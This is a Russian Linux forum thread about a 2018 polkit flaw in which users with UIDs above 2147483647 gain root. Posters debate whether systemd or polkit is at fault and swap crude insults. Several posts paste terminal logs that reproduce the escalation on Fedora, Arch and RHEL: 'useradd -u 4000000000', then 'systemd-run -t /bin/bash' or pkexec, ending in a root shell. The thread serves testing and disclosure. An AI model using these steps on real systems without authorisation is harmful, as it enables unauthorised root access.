и за мельдонии со спектрам тоже линус нам ответит, сожгем его на костре

Вполне можно и это притянуть. Учитывая, что ещё лет десять назад шли разговоры о возможной дыре.

если используя чужую поделку ты позволяешь получить рута в своем софте

Получение рута с разрешения полкита абсолютно правильное поведение. В этом нет никакой ошибки.

Получение рута с разрешения полкита абсолютно правильное поведение. В этом нет никакой ошибки.

Просто рута получил не тот, кто должен был. А так, конечно, ничего страшного.

У меня тоже Fedora 29, но выхлоп другой:

[user@localhost ~]$ systemd-run -t /bin/bash
Failed to start transient service unit: Access denied
[user@localhost ~]$ login lolka
[user@localhost ~]$ sudo su -l lolka
[sudo] password for user: 
[lolka@localhost ~]$ systemd-run -t /bin/bash
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Failed to start transient service unit: Access denied
[lolka@localhost ~]$ 

selinux включен?

Можешь уточнить, какие данные тут входные и как их надо было проверять.

Грубо говоря systemd спрашивает polkit: «пускать ли такого-то пользователя к рулю?» Polkit отвечает: «да, пускать».

Что должны были в такой ситуации дополнительно проверять в systemd?

Но если разраб не проверил входные данные чужой поделки и тем самым позволил получать рута

uid 4000000000 - нормальный uid. Это валидные входные данные.

Да, конечно, я же не ССЗБ.

Просто рута получил не тот, кто должен был.

Если ты в правилах polkit пропишешь разрешать всем, systemd тоже должен это запретить? Полкит сказал можно - systemd пустил. Что не так?

Попробуй то же самое с отключенным.

Грубо говоря systemd спрашивает polkit: «пускать ли такого-то пользователя к рулю?» Polkit отвечает: «да, пускать».

Что должны были в такой ситуации дополнительно проверять в systemd?

В такой ситуации systemd (и все остальные клоуны) должны проверять, что ИХ софт не выполняет того, чего выполнять не должен. То есть тестировать свое поделие, прежде чем вываливать это на публику с мыслью «Для security-oriented фичи мы используем софт, конфиг которого написан на javascript. Что может пойти не так?».

Так неинтересно. Это всё равно что «попробуй взломать квартиру, если у тебя есть от неё ключи».

А вы когда результатами делитесь, не хотите хотя бы версию polkit добавить к логу?

Ну так, для интереса, вдруг она на что-нибудь влияет...

Да мы никому не скажем, потом включишь.

А кто тебе давал право хейтить и за что-то спрашивать с разработчиков фрии опен сорц. Не нравиться что-то - ревьюрь, комить или сядь и заткнись. Опен сорц девелоперы из нот ёр привэйт арми, понимаешь ли. Сам небось у мамки на шее или мани-мэйкер, а энтузиасты тебе виноваты. Фи.

Ты поменьше эмоций, побольше по делу давай. Что именно должны были протестировать на стороне systemd?

Какой case?

А кто тебе давал право хейтить и за что-то спрашивать с разработчиков фрии опен сорц. Не нравиться что-то - ревьюрь, комить или сядь и заткнись. Опен сорц девелоперы из нот ёр привэйт арми, понимаешь ли. Сам небось у мамки на шее или мани-мэйкер, а энтузиасты тебе виноваты. Фи.

Ну только polkit писали парни из RedHat. Им за это платят.

[ebuild R ] sys-auth/polkit-0.115-r2::gentoo USE=«introspection jit nls pam (selinux) systemd -elogind -examples -gtk -kde -test» 0 KiB
Но, это вам наверняка не интересно, не федора же.

Какой case?

Ты пытаешься запустить демон, который не должен мочь запустить, и не можешь его запустить. UID_MAX — очевидный кандидат на тестирование.

P.S. Кто-то может пойти дальше и спросить, а что все это барахло (проверка прав) вообще делает в системе для старта софта, но чего уж тут.

Что должны были в такой ситуации дополнительно проверять в systemd?

проверить мнение диванных аналитиков с ЛОРа конечно же. пять звезд, а такие глупые вопросы.

Кто платит, тот и спросит. Тебе небось тоже за что-то да и платят, давай всем миром твои косяки обсудим, какой ты криворукий и вообще.

Да, в данном случае это было про fedora 29, потому что polkit-0.115-4.1.fc29 с фиксом уже выкатили в обновления.

Но и в остальных случаях сравнение результатов без версий - не тру.

Кто платит, тот и спросит. Тебе небось тоже за что-то да и платят, давай всем миром твои косяки обсудим, какой ты криворукий и вообще.

RedHat в каждом релизе хвастается про самый безопасный софт... и вот опять.

Проверил. Результат идентичный.

Ты пытаешься запустить демон, который не должен мочь запустить, и не можешь его запустить. UID_MAX — очевидный кандидат на тестирование.

systemd должен давать права на запуск всем, кому polkit сказал давать права на запуск. Это должно было быть протестировано, было протестировано, и именно так и работает.

systemd нет дела до того где и как там парсится UID_MAX, это работа polkit (unix-way, если что).

а что все это барахло (проверка прав) вообще делает в системе для старта софта

ты совсем не знаешь что такое polkit да?

Спасибо. У меня также.

Уже признал свою неправоту, признаю еще раз: почему-то думал, что PolKit и SystemD находятся в плотной связи. Я ошибался.

в стабильной слаке

>:/tmp$ sudo -u user5 pkexec /bin/bash
Password: 

(process:1854): GLib-GObject-WARNING **: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/bash' as the super user
Authenticating as: root
password:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

This incident has been reported.
>:/tmp$ su - user5
Password: 
No directory, logging in with HOME=/
user5@slacka:/$ id
uid=4000000000(user5) gid=1001(user5) groups=1001(user5)
user5@slacka:/$ pkexec /bin/bash

(process:1872): GLib-GObject-WARNING **: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkexec.c:753:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Aborted
user5@slacka:/$ 

чтобы не было ошибки polkit-agent-helper-1: error response... нужно pkttyagent в отдельном терминале запускать, подцепляясь им к процессу основного, после этого аутентификация срабатывает, если правильный пароль рута введён
а сам pkttyagent при запуске от любого юзера вообще никаких ошибок не выдаёт

Вон, даже в Слаке пишут вверху, тоже эта уличная магия не работает. Хотя, Патрег - Бох, это понятно ...

Работаит!

[pocuser@homepc int13h]$ systemd-run -t /bin/bash

(pkttyagent:1538): GLib-GObject-WARNING **: 22:28:26.636: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u163.service
Press ^] three times within 1s to disconnect TTY.
[root@homepc /]# cat /etc/passwd | grep pocuser
pocuser:x:4000000000:1003::/home/pocuser:/bin/bash
[root@homepc /]# systemd-run --version
systemd 239
+PAM +AUDIT -SELINUX -IMA -APPARMOR +SMACK -SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
[root@homepc /]# 
[root@homepc /]# uname -a
Linux homepc 4.19.8-arch1-1-ARCH #1 SMP PREEMPT Sat Dec 8 13:49:11 UTC 2018 x86_64 GNU/Linux

Уже выяснили, что pkexec работает некорректно, поэтому уязвимость не проявляется. Ставь systemd и проверяй через systemd-run -t /bin/bash

systemd должен давать права на запуск всем, кому polkit сказал давать права на запуск. Это должно было быть протестировано, было протестировано, и именно так и работает.

Эээ... правильно ли я тебя понимаю: чуваки ставят дефолтную систему, запускают проверки, кто имеет доступ к разным командам systemctl, выясняют, что произвольный юзер оказывается может получить рута... и такие, лан, норм, это polkit виноват, мы-то причем?

systemd нет дела до того где и как там парсится UID_MAX, это работа polkit (unix-way, если что).

Вообще есть. Они (не)тестируют фичу запуска привилегированных операций. У них в софте есть фича: если ты не рут, проверить, можно ли тебя пустить, если у тебя есть права в polkit. Не просто пускает ли тебя polkit или нет, а соответсвует ли ожидаемое поведение (пускают только юзера с auth_admin) реальному. А для этого реальное поведение нужно сначала сформулировать. А уже из сформулированного ожидаемого поведения (не)делаются test-case'ы.

ты совсем не знаешь что такое polkit да?

Я сейчас про systemd, не про polkit.

Получается, Арч опростоволосился ... печаль. Такой уважаемый дистр, вроде бы.

ага, сам в шоковом состоянии пребываю

Я думал ерунда... А потом прочитал:

не создавать аккаунты с отрицательными значениями UID или UID превышающими 2147483647

и уполз под стол.

ЕБАНЫЙ СТЫД

Last login: Tue Dec 11 22:38:13 2018
[root@localhost ~]# sudo useradd -u 4000000000  pocuser
[root@localhost ~]# sudo -upocuser bash
[pocuser@localhost root]$ whoami
pocuser
[pocuser@localhost root]$ systemd-run -t /bin/bash
Running as unit run-3395.service.
Press ^] three times within 1s to disconnect TTY.
[root@localhost /]# cat /etc/redhat-release 
Red Hat Enterprise Linux Server release 7.6 (Maipo)
[root@localhost /]# whoami 
root
[root@localhost /]# uname -a
Linux localhost.localdomain 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 15 17:36:42 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[root@localhost /]# systemd-run --version
systemd 219
+PAM +AUDIT +SELINUX +IMA -APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 -SECCOMP +BLKID +ELFUTILS +KMOD +IDN
[root@localhost /]# 

0_o Вот от RHEL не ожидал такого! Значит, и на центоси заработает, наверное. Надо им срочно из федоры патч тащить к себе). Ядро старое, кстати. Всё-таки, в новом ядре много чего прикрывают, оказывается.

вот скажите, и как сейчас переда «вендузятниками» мы выглядим?

Эти отсталые рукожлпы кодят без -Werror, а потом int к uint и дыра на дыре.

Эти отсталые рукожлпы кодят без -Werror, а потом int к uint и дыра на дыре.

Это редхат, детка. Добро пожаловать.

если редхат так делает, то это (ебаный стыд)^2

Уже выяснили, что pkexec работает некорректно, поэтому уязвимость не проявляется.

где некорректно? пароль от рута запросил, как и ожидалось

Ставь systemd и проверяй через systemd-run -t /bin/bash

не всем нужен systemd на слаке
раз уж дело в polkit, то можно и обойтись

Всегда как мудаки выглядели, и сейчас "концепция не поменялась" (перефразируя анегдот).

произвольный юзер оказывается может получить рута...

И так чуточку, совсем ненавязчиво передергиваем.

Вообще это отличная идея конечно, требовать чтобы systemd теперь своими юнит-тестами покрыл весь софт написанный за двадцать лет до него, плюс «дефолтные» установки дистрибутивов. Можно и все остальные интеграционные тесты и acceptance-тестирование впридачу тоже им выдать, пускай работают.

А мы их ещё грязью за это польем чтобы не расслаблялись.

но ведь такого говна нет в openbsd!

И так чуточку, совсем ненавязчиво передергиваем.

В чем?

Вообще это отличная идея конечно, требовать чтобы systemd теперь своими юнит-тестами покрыл весь софт написанный за двадцать лет до него, плюс «дефолтные» установки дистрибутивов. Можно и все остальные интеграционные тесты и acceptance-тестирование впридачу тоже им выдать, пускай работают.

Ты как-то невзначай пропустила момент, что они вообще-то должны были не polkit тестировать, а СВОЮ (свою, понимаешь?) фичу. Которая работает в связке с полкитом. Но проверять они должны, что ИХ софт никого не пускает, кроме тех, кого должен (потому что они в том числе свою политику polkit распространяют).

Блин, это правда так сложно понять?

P.S. Это одна из причин почему к сложным системам много вопросов с точки зрения безопасности. Потому что покрыть тестами все не выйдет, и рано или поздно что-то где-то выстрелит. Поэтому проще не совать механизмы авторизации в софт, которому это не нужно. Но фоннаты systemd громко орали, что дескать его пишут правильные программисты и все зашибись. И вот опять.

Полкит в портах-то есть наверное.

в арче без использования systemd-run

>:~$ sudo -u user4 pkexec /bin/bash
[sudo] password for archik: 

(process:709): GLib-GObject-WARNING **: 23:05:25.031: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
[root@archik ~]# 
[root@archik ~]# exit
exit
>:~$ su - user4
Password: 
su: warning: cannot change directory to /home/user4: No such file or directory
[user4@archik]$ id
uid=4000000000(user4) gid=1001(user4) groups=1001(user4)
[user4@archik]$ 

Но фоннаты systemd громко орали, что дескать его пишут правильные программисты и все зашибись. И вот опять.

И вот опять что? Механизм авторизации опять сработал как механизм авторизации? Вот же злодеи.

СВОЮ (свою, понимаешь?) фичу.

Не, не понимаю. Иди на libvirt что ли направь свой праведный гнев. Они раньше в очереди стояли.

Потому что это не ИХ, (не их, понимаешь?) фича, это базовая функциональность системы существовавшая задолго до появления systemd и являющаяся стандартом. И любой современный проект должен её поддерживать. (В каких случаях её использовать - это уже другой вопрос.)

И да, можно долго разговаривать о том как линукс стал сложнее, умнее и как страшно жить. Можно пойди сделать hardened-дистр с отлючением всех «новомодных» фишечек (новомодность начинается с 2009 примерно).

А можно взять себя в руки, перестать истерить и поработать над налаживанием обновлений на всех подконтрольных серверах, потому что уязвимости есть и будут и никто от них не застрахован. Святое ядро в том числе.

где некорректно?

Он дополнительно проверяет uid.

раз уж дело в polkit, то можно и обойтись

Прочитай весь топик, уже разобрали, что pkexec не подходит для тестирования этой уязвимости.